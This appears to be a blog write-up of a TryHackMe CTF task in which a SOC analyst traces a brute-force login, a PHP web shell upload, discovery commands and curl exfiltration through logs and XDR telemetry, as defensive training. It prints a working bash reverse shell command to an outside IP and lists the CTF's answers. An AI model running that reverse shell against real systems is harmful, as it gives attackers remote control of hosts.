Inside a Web Shell Attack: TryHackMe First Shift CTF — Task 5: Portal Drop

A SOC Threat Intelligence Investigation into Brute Force, File Upload Exploitation, and Web Shell Persistence

Introduction

In this investigation, I analyze a web application attack scenario from the TryHackMe First Shift CTF room, focusing on Task 5: Portal Drop.

This task demonstrates how an initial access vector — such as a brute-force attack — can escalate into full system compromise through web shell deployment and data exfiltration. The investigation involves correlating multiple data sources, including web server logs, WAF alerts, and XDR telemetry.

This article continues from Task 4 (Phishing Books), shifting the focus from email-based threats to web application exploitation and post-exploitation activity.

Things escalate quickly.

What starts as suspicious authentication activity quickly evolves into a full compromise scenario involving file upload exploitation, web shell execution, and command-and-control communication.

In this case, a web application firewall (WAF) detects suspicious activity targeting the company CRM portal, triggering an investigation that requires correlating multiple telemetry sources to reconstruct attacker behavior and assess impact.

Indicators observed:

Brute-force login attempts
Suspicious file upload activity
Possible web shell execution

Available data sources:

Web server logs
WAF logs
Endpoint Detection & Response (EDR/XDR) telemetry

Investigation Approach

To investigate this incident I followed this analysis methodology:

Identify initial access attempts (brute-force activity)
Trace post-authentication behavior
Detect file upload and execution
Correlate findings across logs and XDR telemetry
Map attacker techniques to MITRE ATT&CK
Assess impact and identify data exfiltration

Questions

Q1. What is the IP address that initiated the brute force on the CRM web portal?

Process:
Reviewing the web server logs, I identified an IP address repeatedly requesting login.php within a very short time frame. Each request resulted in a 401 Unauthorized response, indicating failed authentication attempts.

Repeated 401: Unauthorized responses

The same external IP was involved

Additionally, the requests contained an unusual user agent:
PF-Scanner/1.0, which strongly suggests automated tooling rather than legitimate user activity.

This combination of:

High request frequency
Consistent authentication failures
Non-standard user agent

is a strong indicator of brute-force activity.

Insights:
Brute-force attacks are often identifiable through patterns rather than single events. Key indicators include:

Repeated authentication attempts
Short time intervals
Automation fingerprints (user agents, request patterns)

Answer: 34.67.91.83

Q2. How many successful and failed logins are seen in the logs?

Process:
I used a text editor’s search functionality to count occurrences of:

Successful logins:
"POST /CRM/login.php HTTP/1.1" 200
Failed logins:
"POST /CRM/login.php HTTP/1.1" 401

The editor returned exact match counts for both.

Results for “200”

Results for “401”

Alternatively, this can also be performed in Linux:

grep "POST /CRM/login.php HTTP/1.1 200" access-combined-crm.log | wc -l
grep "POST /CRM/login.php HTTP/1.1 401" access-combined-crm.log | wc -l

Insights:

HTTP 200 = successful request
HTTP 401 = authentication failure
Counting response codes is a fast and reliable way to quantify attack success rates

Answer: 18, 35

Q3. Following the brute force, which user-agent was used for the file upload?

Process:
After identifying the successful login, I traced subsequent activity from the same IP address and searched for keywords such as upload.

This revealed file upload activity and the user agent being used.

Insights:
Attackers frequently switch tools after gaining access.
python-requests is commonly used in:

Automation scripts
Exploit development
Post-authentication actions

Answer: python-requests/2.31.0

Q4. What was the name of the suspicious file uploaded by the attacker?

Process:
Immediately after the upload request, I observed access to a .php file located in the /uploads/ directory.

This strongly indicates the attacker uploaded and then executed a server-side script.

Insights:
Uploading a PHP file into a web-accessible directory is a classic technique for deploying a web shell, enabling:

Remote command execution
Persistence
Privilege escalation opportunities

Answer: invoice.php

Q5. At what time did the attacker first invoke the uploaded script?

Process:
I extracted the timestamp from the log entry where invoice.php was first executed.

To validate this, I correlated the event with telemetry from the XDR platform, which provided additional metadata such as:

Process ID
Parent process
Execution context

Cross-referencing information improved confidence in my findings.

Insights:
Cross-referencing logs with EDR/XDR telemetry:

Improves confidence in findings
Provides richer context
Reduces false positives

Answer: 06/Nov/2025:14:27:34

Q6. What is the first decoded command the attacker ran on the CRM?

Process:
Within the XDR detection “Parent-Child Anomaly: Shell Spawn”, I reviewed executed commands in Endpoint Detections > Process Info > Process Chain.

Insights:
whoami is commonly used by attackers to:

Confirm execution context
Identify privilege level
Validate shell access

Answer: whoami

Q7. Based on the attacker’s activity on the CRM, which MITRE ATT\&CK Persistence sub-technique ID is most applicable?

Process:
Given the attacker uploaded and used a web shell, I mapped this behavior to the MITRE ATT\&CK framework.

Insights:
Web shells fall under:

Server Software Component → Web Shell
A widely used persistence mechanism in web application attacks

Answer: T1505.003

Q8. Which process image executes attacker commands received from the web?

Process:
Still within the XDR detection “Parent-Child Anomaly: Shell Spawn”, in the XDR telemetry under IOC Indicators, I identified the process responsible for executing commands in Process Image.

Insights:
PHP-FPM is commonly exploited because:

It executes server-side PHP scripts
Compromised scripts run within its context
It often inherits web server privileges

Answer: /usr/sbin/php-fpm7.4

Q9. What command allowed the attacker to open a bash reverse shell?

Process:
The command was visible in both XDR and Web logs:

XDR telemetry (Shell Command field)

Web logs (encoded payload)

The payload was originally Base64-encoded. After decoding it using CyberChef, the reverse shell command was revealed.

Insights:
Reverse shells allow attackers to:

Establish outbound connections
Bypass inbound firewall restrictions
Maintain interactive control over compromised systems

Answer:
bash -i >& /dev/tcp/115.58.148.86/8080 0>&1

Q10. Which Linux user executes the entered malicious commands?

Process:
From the same XDR detection “Parent-Child Anomaly: Shell Spawn”, I identified the execution context in Endpoint Detections > Summary > User field.

Insights:

www-data is the default web server user on many Linux systems
Compromise at this level often indicates:
Web application vulnerability exploitation
Limited but expandable privileges

Answer: www-data

Q11. What sensitive CRM configuration file did the attacker access?

Process:
In the detection “Unusual User Behavior: System Discovery”, I observed additional commands succeeding the original whoami.

Among them, I identified the use of the cat command to read a configuration file.

Insights:
Configuration files often contain:

Database credentials
API keys
Internal service configurations

These are high-value targets during post-exploitation.

Answer: /etc/trycrm/config.json

Q12. Which domain was used to exfiltrate the CRM portal database?

Process:
Reviewing commands in the same XDR detection, I identified use of curl to send data externally.

The destination domain was visible in:

Command line arguments
DNS request logs

Insights:
curl is frequently abused for:

Data exfiltration
Command-and-control communication
Downloading additional payloads

Answer: portaldrop2025.xyz

Q13. What flag do you get after completing all 12 EDR response actions?

Process:
I reviewed each detection and applied appropriate incident response actions based on severity and context.

Insights:
Effective incident response requires:

Containment (blocking, isolating)
Eradication (removing artifacts)
Investigation (understanding root cause)

Answer:
The answer is a multiple-choice completion based on correct response actions.

Response Actions Taken:

Suspicious File Write
Quarantine invoice.php
Collect file for forensic analysis
Perform root cause analysis

Shell Spawn
Terminate bash process
Block attacker IP

System Discovery
Block malicious domain/IP
Isolate host for DFIR
Investigate root cause

Hands-On Keyboard Activity
Validate user activity
Review system changes
Confirm or dismiss as false positive

Key Takeaways for Security Analysts

Brute-force attacks can quickly escalate into full compromise if not mitigated
Web shells remain one of the most common persistence mechanisms
Correlating logs with EDR/XDR telemetry is critical for accurate analysis
Attackers follow predictable post-exploitation steps:
1 — Enumeration (whoami)
2 — Persistence (web shell)
3 — Data access (cat config)
4 — Exfiltration (curl)

Conclusion

This task highlights how quickly a web application attack can evolve from initial access to full system compromise. By correlating web logs, WAF alerts, and XDR telemetry, it is possible to reconstruct the attacker’s actions and respond effectively.

Developing the ability to connect these data points is essential for any aspiring SOC analyst or incident responder, as real-world investigations rarely rely on a single source of truth.

Skills Demonstrated

Log analysis (Apache/Nginx)
Threat detection and pattern recognition
Incident response workflows
EDR/XDR investigation
MITRE ATT&CK mapping
Command-line and Linux analysis
Threat hunting mindset

Tools & Technologies Used

SIEM / Log analysis tools
XDR platform (TryDetectMe)
Linux CLI (grep, wc)
CyberChef (payload decoding)

Inside a Phishing Attack: TryHackMe First Shift CTF — Task 4: Phishing Books

What Future Crimes Taught Me About Cybersecurity